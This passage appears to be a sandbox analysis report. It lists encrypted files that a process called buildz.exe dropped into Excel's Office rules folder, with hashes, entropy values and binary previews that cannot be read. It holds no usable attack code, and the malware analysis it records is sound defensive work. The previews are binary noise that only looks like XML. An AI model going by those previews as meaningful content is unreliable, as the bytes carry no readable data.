p...o.L.......8.@........6.+Q[..,}5...(&...Q.(3[m.....Y~gL.+.ks..&......H~.+lPv.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.820754014303775
Encrypted:	false
SSDEEP:	24:y/ADrqxkbzO4ltvPINz3V9Ply2hbRbZTrjRWM2kII5oqPEX9MSNs7zct6+tbD:FDrqxfNz9yMhNjRWM2k3w8ctfD
MD5:	11BA3F06F8FB26AEAEB0C826CEEB2AD4
SHA1:	C4FBA110F087BF6689627BF518178648F7EB2AE1
SHA-256:	DFAEED897BE5DECDA827E116F23E487ABFE65D5873D6897E29F242EE19003440
SHA-512:	595366D1623AD4D1F475015426460708CD468EE446C2FF6927AF55E31505DBA325F9B69BBB339401458AA2CDA1D96E1D5F7ECD00C8F018008456D248B23274CF
Malicious:	false
Reputation:	unknown
Preview:	<?xmlX....9i#od.R..g.H?S`.....F.f.5x.......G=...O...(\fP..&2.u.k ...a.._.ww.........7,.^P-.l..V./...3.H...56}...6....r........R.T.l.M.3.Z.LtS......z2..E..60.s..r{.hUbj...E.Y.`....S.e ..........+.?.:c.v. ...3..,7g7..., 0}r{9x7...I..+P..t.S.fd3$.yG.y.P0...mZ.<..5..3...b..}../.t(.....I....].f6..R...Wx.G1JQ...h..G:{)..D.8.k.p.EMU..sdd`.p.<;G....K.....MC.j.`.Z.\|!...s..&.....#RZ.............. ...d........D."r.I.D.^Rv....[...c.5.....u..;.Y.....qA....@L.d.}.m8..l.0(..w..ecg!.......H...L.r0.EcT..`B.......J..QI..d....C.B..\cP..-..i..^.CE?.`..%a.......=...<..O.'.v.-5..2`..{...g...r....-E.....J......Z......'...K...L.....x...R...;t/@.......yg.b.@..E.v..p...+.&\S9zZ2Y.C..U..o."#....\...o3.,..a....(f....@--7...g6.>.!...dA+#}......+u.s{.. .....ru`.1...&.)...`..YY......_C".I.(f[.....'.\.........\J.y.x..H.k..D.w...%R.@.Q.H5 ].2Rfu5.p.C....b..s.d%.zP.!^..Q...:.....84...\......{....,#.45........nrq.\.U....=..q.@oY.&...y....db.w,.g..7m..B...........S..:Jz.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.857863005709594
Encrypted:	false
SSDEEP:	24:nZ7a4CndPi0jt7J7Y2kWY/kyyfKMt+W23OFNl9E8c2sfApo/slzbD:1dqdjjt7J7xBYOfeKEvfApeKD
MD5:	6B670F7B159F9DF981EF041E52155C12
SHA1:	D07CAB1471C87C061160C6152DE274C65D5964CF
SHA-256:	D115F272320ADFF3E4336C3C91507429CBF12E2363392CDE80857FCA21C88D47
SHA-512:	D2D5B4F6F4A747751C32A2C2ABD1936B2F54E47656848502E64C72827D92B7EBD2C9194B28E6455155F1CB45C35720FFD87309158DFF5415EE2DA92A5C52ADF9
Malicious:	false
Reputation:	unknown
Preview:	<?xml.}...V.sc.....F=M..(,n.GR..#...$.Z.H......U..A[..e.....u(.-...8p...a.....U.&.L..U.[y.4/..lN...c..V].S?..D.U.#..z...k.7.'....].mc..@.m..3..)..}v....1.1...y..b....i..%....C.KY.hKo......&&Y...!.DL7[a\:..#....)X.;..&..He-..0.......}}....]e./>...r.Z.C....#...VI.,e.KuD...`...T....C.W..e.Z..=.~..Z..<....=.C...~.h#,...k\|....~.j.]6...j..7..C...lh..eu=.._.D.</v.y..Lz..5d.!@.i.h./..v ..h$.O{D...V(....%.O.1....l...Nei. .......$.7j^.\........Yo..K.h...]{8,l... !".p.-.H.{...y0ySz.Ba.l.$..1HTk......nG....p.c..a.oJ8.s.)VwY. ......U......<../Y}.....O.\.".#)g..A..zhQ.....r......k.....Ec....q.+.4,.n.a....\~T....?.Rg.W.~...~k.zi...Z....`.......f......5.%...D..c.._..f..V,/u..(}..iZ6'EI}.......1U...M..m......Dn.'*HRg.uktp#...+.V...I;.O....}Dc`.~=.s.a...<.y...H..k..Ak.B..........+'.....z.r-.....)G@0lq.9'OV.........?y..V.DC@..$...o....;...h.6.......n...R. ..8.h. )....o.q.62.D.QK...q<.N..Vl.x.;...N.:M[.:....o...N.. ...>...E.C..^97z..<{...9.......m..,.+...W.fm.<..];.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.821623820886858
Encrypted:	false
SSDEEP:	24:kGFUE1hS2KxpPapPU4Yj1ShLZKZZlB61wz/xlOVbVKnwMbD:kGFU6SJpPalK1SZEzlE+ziALD
MD5:	525B0AC87142571702612A2A15EC23F2
SHA1:	251F406AE5F9982D79DF64419E1EB22FCEC88384
SHA-256:	FDD853957934B3394C1236DFDDB2AE5016A17DDDA45BF8EE819B0DC1F8884016
SHA-512:	A03082FFADC2C4077E57E439A28637145676F1E7707CA2C15880BEEDA28FE8E6A66BDE7B2AC57AC875D77AB27C80D96A7E81CFA36EEB6EE1154FF00D36D0866D
Malicious:	false
Reputation:	unknown
Preview:	<?xml.f{.WC^<.....D\..Pc....d.V.h.C.......cB%.....%......U.98...v.....Mw8....j?te..k6..h.K4'L\|........U_eQ....f..{.....)C.0D.}.......#...0x..I.&f....csBc"...L.P...-:.N.L6.t{..8....c.Zo}...]~B..7._.^..Q.`%.aqE.Ww....%R..S.+.B.M%.P>....g....o..g.t..o.'F..'..X."......R3gm....... .......xt...D........F.V..5.O..P.}.......d..`;,.X.P...E.<.B.9l:.......)O.......C..#'......v..i..\...Z.....1.x!S(..V.....K..!.Y.EU.1. .....c.y}.mZ.3...:].M.. ...\|........K4V.7bq......`..V.D.hl0.b........X&..W..!5.(.q..Y..,.GX..].j..@..h.uzx.....I.gd..z..)......^."..[Oak4G.Ic.&q...(gQ..`.%.<...'#...1..Jjz6..,....g.}.V.....#.6.<.C.#.[.g...1..D&....d^k&...L..HP...U..R...xF!\Y.....t....... x.G=4q.....@N]YM.%.N[..)..Oc...>.}...P.V.Iz..[U..I.6iw.a.omO........8.e..DR........j..A.}?..B7.......e.g.....Z.....J.s4;..X.B7.....6....a@K]"...o.c'8..j.?.z.=F:k.\|.}O.".....j.P.J..3.q.9.i.......:...Y..M'.@.J0uT.w.an.Z$u...a........J).t*Z.z.#.yV/M{1... 8<..s.&}\|....u.E......W.x`..<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.981483312142636
Encrypted:	false
SSDEEP:	192:M2PNMbwbu/ZtGmLTQAzsXIAPf7+CSc88U++0fnA3+:Mclu/manzsj2p8LfnAO
MD5:	7413916188367ED6C50B6D99F1196B35
SHA1:	4148F9465090668AB3C0F419E8BED4455488A689
SHA-256:	8AD5FB1DEE16973FD39B7231D226B68299734A1A9034C5EB037B3E96AA80CBBA
SHA-512:	0A949D1BB317ACBDC453AA21B1E040FB0FD2278E837F1DE9480161221DA97C329E0FA73F91563B34D7313E9B641EE1B3845B3A08B953C0C5BAF276B041B06D9E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.c.......U.,...N./(.;..8u.^....,}a$..&.ka.3....!b...3...d.O.0q-.SY.v...{.:....=.9..~..&...M{....S"...LY..........nxOZ....S...T\|....vj;...F:.....gy....D...:.y.[./.F.t..:XU]...B..y.[2......$.d8M2'......`r3..%..,....\|'X.........H...0.E....I.v...W..Rq.'..W4m..$!..J..=........[...).w.p...=..j...Bjv._....W."..X..T.2.8.. ...+.e..._.../j..89`..x.T~...._P.0gV.]s4..%..X.......b.y.Mh.......i.>.......?.t..4..#.E..C7tu..s$.wl....k......N....^q.D5......{`..j...?.Qh.>w]..0...&Py]Hy@9-..\P.xD.v.G.W.....<9.!.B.J..,..AF..M...cW.>..^.b.\|7.......E...+GOy.ajxU;....E.,.U8.9_...r.XCqf.....UZ1.8<...p_....j.....q.<a...J....O.X.Kn.YR..k(.\|.XZU.<.(.v...&..*X..^VQ..r..m..}Q.p..K...:,.~.0..Os;..D...u...a.H...".%..:..=......r..b.Rs.E.......LF..W..I.N..?29W.....s.w..S...].W..P.8..V..cHF...z...9....1.m..t..EKt..\|.=...q....M.4.(8."^...!t.s.gqt......}....z.!v(6R...^[.....sU.~..iQ1..`..$!.(Y........kzm/.C.eE.Ln..r\.@.....Y..v..^..9......._..g.....%...E..E...Bv....I.`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.965854319837923
Encrypted:	false
SSDEEP:	96:zZ7NS+MQnuS5nssGqpqeORx91p5enWizgkYg0oz/ClapqqwozC:zZ7Q+MQnt5NtBORD1+n3FYbozWFqj+
MD5:	CF7092E4A6F3AF02EF97BC616BAA8471
SHA1:	15F51C6A09B453FC6CD90083562279EC6BA78C3F
SHA-256:	F1F6CA0AD0E261AB5D09EF57E7D8AC9EFB66F85FFA0EF059796B67AD742FE3A5
SHA-512:	ED63DEA3DA36F5852FADB9342E2801EE4B39F7D712B208CC2B0ECEB936A81D86FB69F9B79581BA37EA6745DBAF06C378875FC9A1EC5EC564927E84C5BD6ED0AF
Malicious:	false
Reputation:	unknown
Preview:	<?xml..."=.$\|..@..El.P.{....8..=5....%....d.^.xo.-...-%Ov}b...+.....>.u......<OB..L..iG..w..Q....^........C...^.VZ...+,]r..}.Cs......\|2./\....h._......ew..6...f..qK/_..f.....7bEb.8D.gw-.#..H"..8.S..ZA4..;'...^g..X.X....}......R...Q..i...p.~.6?.k.bR?.3,..&Cj6T...[.&v.`ex.7$'..,....Q..J]..m.....S-...6[...$.;_....4...gVB-]........k.........]d..m..y,.....k^..-l.8.y...Tl9.+R.r.J.f....%.>.fl.G..S.o}.8...{r-Gc.`...y;.r..D~.3,..F.xv>........5d.r..N.;..0.T.$LiD.....g@..j...FL..<..ldy..D....B..#-t.._.<c.....I.....dz........#.T.4.{.+..g.l. 3.(NWt$Q1....(,F....Dh.{.~...C.....fl_o...CF.Z.."......._...~].a#Sj.&..N...("S..e..,p..#.....x.au....N._.8..pQ....Z..7.KS.pT#2}.x4..R<.......&t]u7...w.....;L@G...pt....h;.Pj....+.....S....y.(...p.5~-..s.Gx.Q.x.6...>"8.L>o~!..J.}:Ec.....P.%..Kcs]...'>;........s.F:G..1.i..H..1...,....#p....Jq^Q.L.9>.bQ.^.N....B....f.s..X.G.f.m4...W.K.DH.......<.[.T.`.....T... 0...d".0._.....z...P.. ..g.....-...G!~......{:i!I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.965986606483704
Encrypted:	false
SSDEEP:	96:/IB22D9qAGn2586BhOaBijx9tw9QU6RXynXQD/fZDWhQ:/I1Dg3258IOaBwjRCX8BDH
MD5:	230B21FF6EC3C3D6B93119B749654B38
SHA1:	C73C9D532EAFD55DA4FA8700B376DB5CACD6255B
SHA-256:	4FCD562E77CC04D458F3091FD280B22A3A686A9D5A59FC2D07D3DEAB285636C1
SHA-512:	0CF3A2D6CDCD502D2423B3DE52F223BCC19C8E6B6065567E0097D53E793CB87BF29B513425FDED61722D71EA2F74C8B6DB2224672F49CA51CDCF68585DC68303
Malicious:	false
Reputation:	unknown
Preview:	<?xmlC..{....'...1.U...L..~.WA....5.bD.Vtn.....,.....z..L..6...<R.n.........NB(m......r%.t...jO..b.'...MR..V .u...%i....U7B..4.<....%...............:..n.E......v.Y....{.d...'?q.U/........V.9...x..c..#.L.=.n..Y.cq..%.aVda./v~%.....7.... \|M..f.....s...^>..i\|..5..]xk?1[o..........{c.#.`)..H..M..u8..>}P..0.. ...^q..ho.L...S...f.R..>..................N...DR..caC&.y"Q..SP....?.xk....x{f.....Q.K..`YT..S.>f..C0....Y.P.w7..EH.eU,tItw.....p..%.~Wn..U..N-.z..(m..*:x"J'3A.s..$.P8.J...yW...............Z.]..l!.Db....%kJ....xyp";t>.....JfD..b..-G.L.....A=...~..3....s3(..x.\|.Q<..7...........@@f.(..F.4]#.pF....p.`.....8,[.....]..Gl..2.S.g.!.{....{........:;.........w!<;.q..d.........2.M.. v..b...5.........m....\.."&.. ^.7....0...y.<./.!a../...../...H/.Q."L.i.j0D../..Xx..w........`.u..D.c..P..DJl..".Nq@.h...m...`,..............-m.US..!.-.Ir}.DK.[.3B.......B....m...v.Z%&..;.@..7..:...c.O..KQ.5 .Y....7\9p...W..2V....%.Hp..u.$V.".0bl..c.&.lW'.w....=H.=..o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.958563486202891
Encrypted:	false
SSDEEP:	96:hmBBhbJRUlgYrNT4fJifllY+VZOjoSHBDAZa6c3sm3rXg6M6LR:QBrWg9JD+VZOjoShEaP5rM6t
MD5:	996E2DC08187CFE03989F0D7CD972C9E
SHA1:	B7C4D57D5A9E838A124A1C560EB7737B2991F250
SHA-256:	516EDF68339278056724A96FBEA37A204EBF16BEB9FFE542BF9EA4D70C7CA73A
SHA-512:	4CE3F3C661A2B6D8997A53CF3A03DFA51E9D6707AA2BA86B337286EE843A124DA0F2273B80529D307231A2D4598529741DB3B005FB17F7F4ECC21B784F7F522F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....F./.rDG...}#...5/...K....K.{..7.\|....Br_........y.<..s..<&..s.....}...n.Ks..P../....\o8.'.+.pZ.......+.\|..l.8...%.?.@,u..!..>d.P..8.....C!..m1..6..E=.!...;.\|..l..:.....yh1.\|`..V..]..Z0..]. #D....9..J....g...Y...h..Cf..F..)..t...r..&._....!..r..8..iy.i..y..;w.$.2=..$\|....t.W...t..........E..M....].....y;y....PH[>..A-Cpk.lm...."^@.........a..............lWq.2.@.;.g.&.n.Z?...!.t...P..".1..kK..xk....W.qT.........T../dm...E`vI.;..1.....]..G7..L........`.zB...R.>M$......'.Q.e(m.r..~z.c..29~.......w........$z.a...-.i`c..>fid.w\.,.$?.\p.#..gGW&L}_..:H..n..>./.V.....C.j^.H...b.Y R.0...1..&!.W......l./2{....0..E.H.xs..6W.E......&wLm....G.7:..hVV...(.\....#IA(LX"2..h.Q.".B.."C6./.i.f(.....=..m.....n..".....@/-........H...Y....c.q.......H..k.S..%...U$7....x.#Q./.. -.X..U.....mL.....;.aE1.Q..R.wF..<.......O...y..$.0.A.....-...mB.k....n.%...f6...ER.{N..w..-.....+R..g..s..PU..z..#..r...r..0\|$..."..J=......../e.\...sP.,..-..._wa....z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.942047032537889
Encrypted:	false
SSDEEP:	48:4XxXkxAgp1i4tsuFd3EehJO+udUIdqhwR83+RK4Xn3IgevdHTKxFvv8ED:4xnUiijFdDhJO+u6IP83+k4ogevdHsf
MD5:	19E9C89BDC37FA89116672E62E7EF18D
SHA1:	20CCA25FD73EF83386C8109BFED8E8B269623357
SHA-256:	851FB258520730745B050947910862F7569ED6156A644C1BA8DEA69D1564D703
SHA-512:	E7675B25A55E490FD667D11E13CB9CBF22278BAE80624339FD119BCDEDA4707A1E57F65DDCC1659C15DAB18E3C7DFF486DD046084289A780BA8A84C1324C2543
Malicious:	false
Reputation:	unknown
Preview:	<?xml.)m....j.I...N.t#.?5H.c9.y.`I...cHk+.3..d....N...q:/..g..p.r60*,.B...#.]....a.x...Fp..@....#$.....a.0L.....=.x..Z.."..6o......a.....10.B.ag...Z.;..M.Ii.._0...j..y....Fe.o..%...........k...g.gO.........d.....8.....,k...;...Z,.....\.[...%..`e..B.Q@....lb...k.(........)..[...f,!.^..Z6.NoX..T..?.On...z.W~...l6C...4.B2m3..3.&.....:.C.X..:..$....T?oV..tT.....v.H....L4../#.....N...~..@..P4H.T.....^R.D/...Z....t..;...<.s.1.'+...:.i.....N.Y.%.#...H.....V..B.......g(.v5..m...=.K6.Y.oS2.=0...=.i...V..4....../!Z..yS.....ygu.6h.L.Z.......Fe.r.O.....8...k.x....V..x.`.......g.HlAI..j.X..5._.M,....L.]...y.b..Ld..>..3..X..lQQ6..m./u3.<5x...@......r.c.S..'.0..U.2.t;\.5..u..H.\|....WA...8...^UQO.....c.c.t.E...1.......}...-..u....DH'\|.D....Y.P'...T.e.}%Q.........L..S.S9.O>.....4/....m.C.A......I......~..l.R9.t...?G.gh,"......i]':.6.@...DR......D....u.L,..zO...?.0C{.".nY..i.U..0...T.......x[.e..s.g..1x.f...l..'.....4&.s..'.\|.'r..9..........Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.731621076972138
Encrypted:	false
SSDEEP:	12:49FNHoub8lQnk+ULqOKNjsb/kMxVygbxR62XZYPOyasA/V2gli560mzbkM1+ciik:4jyuA+kn2FNjI/V4KYpA/ggliV2AHbD
MD5:	ACCEDF6AC5DC84DB563106AB83ACEF66
SHA1:	255ABA27D8D74177E6610CF5C6021559BE1C943E
SHA-256:	F3235FB684A4950AD6CEB9C8498B08EE4E7D5EEDEF4FC1EC1E7BEE44D4ADFF60
SHA-512:	F493C9E0BDE1479F19B63FB5036C134D88C9CD0D5AF711A82291D31DBD3775AB9E99508BBD559A0829E68E4BF015047789C34A86EEE5E1B70F0686745FF494BE
Malicious:	false
Reputation:	unknown
Preview:	<?xmlE.HqM9.iI.4...I3..$..~.?..UU...>{..kwo..E.\<........".\.....B.zR&)`....y..z....../.x..w.C...`.Kq...A.,..Au~....J..k..$...............^Y.Hl{._.1@.{....+......f...YX...u..+.5.........9..\|i9.j..R.....e'..mmS.:......>.g..0ey2q.Cd{.'.j..n.J......}..IpeY..0...sndM..Z....R... l.dS.q..I.G...^DGK......W....\|.....^TO....Nf.."-..-.8n@R....."8^pOX...IU.O{.y.....Y'......o.4.EO.a..Q.e..(...T=.a1P...^.5(..t...'..x.,OX..... ..eh......u..u.N..7..p..~....$. <.).. Q.v..bTKt.kg@.d..=.3\Q.....l...w....._....9v......6s&dT#....>......a.....5gy..5....d.=..q.d..(....I.a.-{RJ...l.).%.e}z......j.Y&........S.0J.".)-.........}3....{...}..W.h.Q.o#6..@.Vz....zd......-\|.+..P..` r3...W.7...M.ASLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.941154782880028
Encrypted:	false
SSDEEP:	48:Eio1xKdqFh43pocT5nBCsxAxnuaGwES6HWgdzZtYih9NQwKzAKOqavb0YPWzSEmD:Ei4xKdEu36y8sxA1P9+TXtTh9NNuAKOF
MD5:	FC5BCF0D2EF0F1F71A53AD700EB1CCDD
SHA1:	94B4F26A2524325A08FA6D0797446E81D86ACC26
SHA-256:	2149A8FC8FF67C8D23DF6B6AF7DF3D66ACA550E3DE6F57E70C11AD8B59C9A0F2
SHA-512:	9E8F58AE74F702B2BF390F7F454539F7DB5C3D39269B26471A3621B0670A79A9919827EC7AF55EC9FDB927969C81BC5F4B2E59F003105DE3EAD6BE95348B5F48
Malicious:	false
Reputation:	unknown
Preview:	<?xml....T...s.U.u.. T...E.e2......&.[!Z.....dn...f.D.......] .....J.....mp..}/......I.sa.e#.WB/..H...#d..(({...a.<.W.t...>.R..q<...L..\|.g.-..>[Cc..&....o!.....$.3$...g.TB.....QY...)..BY .v.]!..>..Xo......2.rdr`o....A.U.?.l.8.l.g..j}.U...?]..aZ...G....y.p.t..z.........'..`....U.o4........8.......M..wC.&!......0....it..a...~.Y.B}.-.4..V.h...L.>k.SN....n.VM..5."5T6..o.{...s..R....g....[m\..V.. .;..n}..B+..G..N.8...{.~.H...N........2....\|.....W...E.G.U..qA..$.2B.......fY..e.5.7.M..TA... .R.T....i.U..H_.VSo.V&...U....h..J.Fi....q........=S..o..z7Q9."....=.K.I6.N...Gh..>..........j..X....a.\...[%...t.{.....3...t.......Y.\....h.R...pZ`..NX.....x....B.z.'7jr\..G[uj.hz_I..Ux..>b.nn.....P.n..K!......GU.......K..$R8...i.{.....uCU.:}X...\.}.:.....Z...k....:.O}^...2.c!.<1(...Q....P...<..0X6..c....}d...i...l!.._b...p..3%......r..O.G...}.Kdu......f/m<.J.;?s..Q.b..\|.......u ...`W^6.5.......`.GF..KS.c=....S..."%....?..p..$...GC...aB.....Ba.=._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.737068008591624
Encrypted:	false
SSDEEP:	12:m+tqkwWfts7DHlDardtiYhDCnKKPlPoH28xmgFEc7fnPUGFZGo1+cii9a:7tqVYKDght/CKCoW8xhfUQZKbD
MD5:	CF4DD2B1DDE1FB058717B82F708CBDD9
SHA1:	4E5F90C585890E79AF75BDED008B3547C6674990
SHA-256:	62C0EFFF9A734A19C12BCE1E96CEAC7F78A6E5D0BE7BE0D2F175ADC5F550633F
SHA-512:	667E75E82D24C51F01E294F00F8C9B02897EFF441E0948A5670D582894A26A86AF8D853270AF93DAE0567C4D727B3B42B84C32B2BC4B5D2F3C5C730FD08E65AD
Malicious:	false
Reputation:	unknown
Preview:	<?xmlRI..qb...[...-..q..j...2g..N$m.1.7...S...[.1.i.u....z+0.....U&......y.....V.S.%.&BsqH._\.-..&{..L\|.....V.xL0.;74%..'.#..tQ+-."..........^..nO.`........F..o.....Rx~PI.........8.R_."..@.gN. ;F,.%..7Fc.O4..D...4t...u.....=.x..@.4....../.\|.E...#./..X.....2....^.....6.....`....K.....?.S..i.T..x.oL...U..!....v.`..3N../;.C.....":..~%.(/.,^...R..f#....."T@.q. ...L.fA)G....8..1u.c....;.f...L..M)..:.P..DM_H...6p.....p..../dK.........B.....jRd\...+..M.Of1;T...~.z....~...4t..^.f,Jg....b..7r..F..p5b.. [....y./.&.K:..Def.p.%........[v.C...,q* .bq...i.m.t*&....l0..l....y... ..l..b.4...G.A..M.j.D.x.U."@...T.....-S.....]..3\|f.R...r@.Y:.^..a:..zJ......N...Of..=...un.1x?i'.?....pN?).(.Q.7..W...s].C....f.$.$A?.)%SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.936340325227756
Encrypted:	false
SSDEEP:	48:QNIeUMHnhNd1oA1KKXTBrlD2imCOTzZ8qkstF3KyYo+KJ7bNFNuKK/USwUXYCaQk:PMHhv1rEmONLv3KoJ3NFNuKK/U1EsRVN
MD5:	067CD2B45A6957892037904CE603AE41
SHA1:	C559838A8589F73D44C648D15C56E8CCCB9BB65D
SHA-256:	8240FCE6ECD6567965800EAF482002F8CFA046B901E92A96079515321F62C4F2
SHA-512:	95E783D699365D068F3ECEFCF5B9788B865648FE7E0DBDC6D2A37649F421B61FA717B6BF8984273BD4789B6042B15922B44BFABC18A10C4C60E002490A6B41AD
Malicious:	false
Reputation:	unknown
Preview:	<?xmll.......hvlD.../..Aj.!x3c..]~.'..e6l.9.E.H.,...c.p........]e..:.tI...-...A..W..o.Th..T...Q..zQ.)%../.]r.p7.Ku#.I.\|Z...r.y..I......ZL.t.hP...p..%....M?.^z..e}..q..Lww.......>%.T.....=.x.c.X..E@I.TG-...^....Y...M....\..I...........1e#].m.3..=...n...U.mg......6..eX.I........Q....d..r...bV.d.6.q.+..<......\|.z....<.@'_.~T...HoAQ$q.i...R/2.RJ..g{..A.F&.[.....&.......cU..[.<.hO...j.........8.......H.HiA.....&q.2.2.....`@...p....+<!7.........w.;2.........b.VL)...x;.?........<.`gT..)..{..{j6.N...m......:.....~(.@....ti...z...4l....5K3.f..l.9....d..}E._&s.n.:../..!....A>e...26..o.. pf...t;..S.....).{,.:e..bt^s'.n(....9.c.=W$C.2x.R.g.f.......3..2.Ue.......V.);.q3.C.....,j...{Bn.Yq.'..CHL..!.&......\w..=..d.....R...W.l.UcQK.Q.w.m.oN]..S..../a[7.n.s..I.SK..[.d6.....n(...{.pRe....4.@9}Y9.&K`r3PFvA.RX>........K.......w.*3.......\....Iv."...-.#..e..ym..W.!g...}..Wn........7....Ly...SyU.\...9....k....;..V@.....98...........l/.._._.Iz.=...=XN..........L/

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.785423125797832
Encrypted:	false
SSDEEP:	24:WHfAvTIK31whL95btK6LS/AyPgFwkmatE3WFFS2NhbD:ItyKdo4S/j4vxD
MD5:	CD8A56BD15BF2DEC1A5262250073C7A1
SHA1:	6F6A1884B5925E631BB852499D1F61C4B3F83AA7
SHA-256:	93AD1442936ECB58871F3C9BD0180B40367463A96992410E6F1D362D36F97E5B
SHA-512:	5F57924E0FEFB9102582B0428760A74E81BDDC8312A1E8AC418331A3D0866F1BECBA5E8B96CBA90F58D4623053FD8B3CE99AC914FFEEE4F7DC6CC45332CE8A10
Malicious:	false
Reputation:	unknown
Preview:	<?xml\Q@s...A".n0LI<....>VVb}.>.)lnB..u.c....(;.._h7..tfI.I..L.$;....d-...R.t..l0.sr.z.....?9..z..w.9....."LeH...............d..V._..2;L.y.Wb..1.\|.t...h.x..y.gG..... ...{4..z...J.&W..;..uP.}a5gLx..v..<o..PHFl.=.. ....= .?.g..X.."....6...0[.)...?..o.....~.:.../..8V.P...L.(.....&.9.I+....P.! ...e.....3..i..<...n...Z..5.._/J..`...:....MpC.i.g...y........=.N.D. =.l..S.\|.0.....D.j.h..B....Va;.h..U..&zR....s....74.m."...4v.......Rx0!..k'...Y.....&P......W..Bh.j.5..%..c.b/QX...3.:.z..6...<..P....nt.7.:..g....#.6>#N.hP.H.n\.>f.*.B..L..c0.b.....Y..[.....Q-._k.......h.~.?E,b.9aM..M08.:....M.SO92.....'b.B.0:EYh.. cr......}....g.e...S.Q.p.b.X.#..p.(....{./........I...qhge..}\....JWv1 X&.q.....g'e5..................q......~IH}-{.8.......r..p-.F/.zB..0X.3.4...0n..t...C>BH...............B.]\|U.?j..].^n.v...'...t....Fz%....6@.lgE'...JfU....)...k..J`.].\|h..y.[..B^.jy.!..I..v..R.8..O.1Z.M.A:~n.?..B.K.YSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.859939993037398
Encrypted:	false
SSDEEP:	24:2mcChYNz6NEDkYgk5a7DX40ZKiw2NvFnrFz6nVaI1anSnVkvkjEydnZZv+elbD:2KOp6eD8k5gDJZTw2hFnrYVaIcnSnVtn
MD5:	CB5168C1AAE93C38F17558D264B781F5
SHA1:	5B89B8D31D27668E92EE432CF3C6894963237034
SHA-256:	2B155E12ECD1491B5759EB5975EF650E5402BD2DEDF5DEC316002D52076E1819
SHA-512:	C6B09BCA876775F0F05DDFAC264831AD8CFE3DB2B3AD0D4C04DB8406AA21AB23287F199D1FF70785321FB237BED4D0DE6FB3636271B9D0EDBB5C62340611457A
Malicious:	false
Reputation:	unknown
Preview:	<?xmlR..K.7...P....X....m.R..n.../7:d"\...(Jt..o.H...sSi...E.....{=s_.9...+Q.....VG]..G.,M.....22.?(X2...S...".RU...8MB._..z'\|^P...bt....f...........;cdY}M3_...k.m3.&1].).p..+....hC$.S...H.N.Cz......@o.....3.vD@.....VN.p.....w..//...]-/=J..NqK...U.6k........4~7.>y..@..b.y..E..!/...c...............M3...B...x/6.B..L.}...SE...+D...Nb...-.5...\|.k=...efI.MA....H...1.jy......!).K.k.V.....6.l.e.-..F....4;.0d.c...l.z.8.!H..K....I....v.W.......+v....z....S..U.o{....>......x.....x.~....}.2}."..WT..\5......N..t...%Eo\|+:=M.f].P.S..s..7.f....H....b@.){...>......p. 7.]..#.I..T...<DZ.....$.F.T#...a...#....\|.1gz.~v.[..j...3...6e....J.M...l.R??3...9&'%.#.._.B.\..+..WU3t......41.L._.3...5..Y.....+....n..jB......-.B&?.34.6.P..`..{;..R.......I.1BN`i..........A....^...o.%.=.&.H.o...=slP.C...7u..[&....?..../. 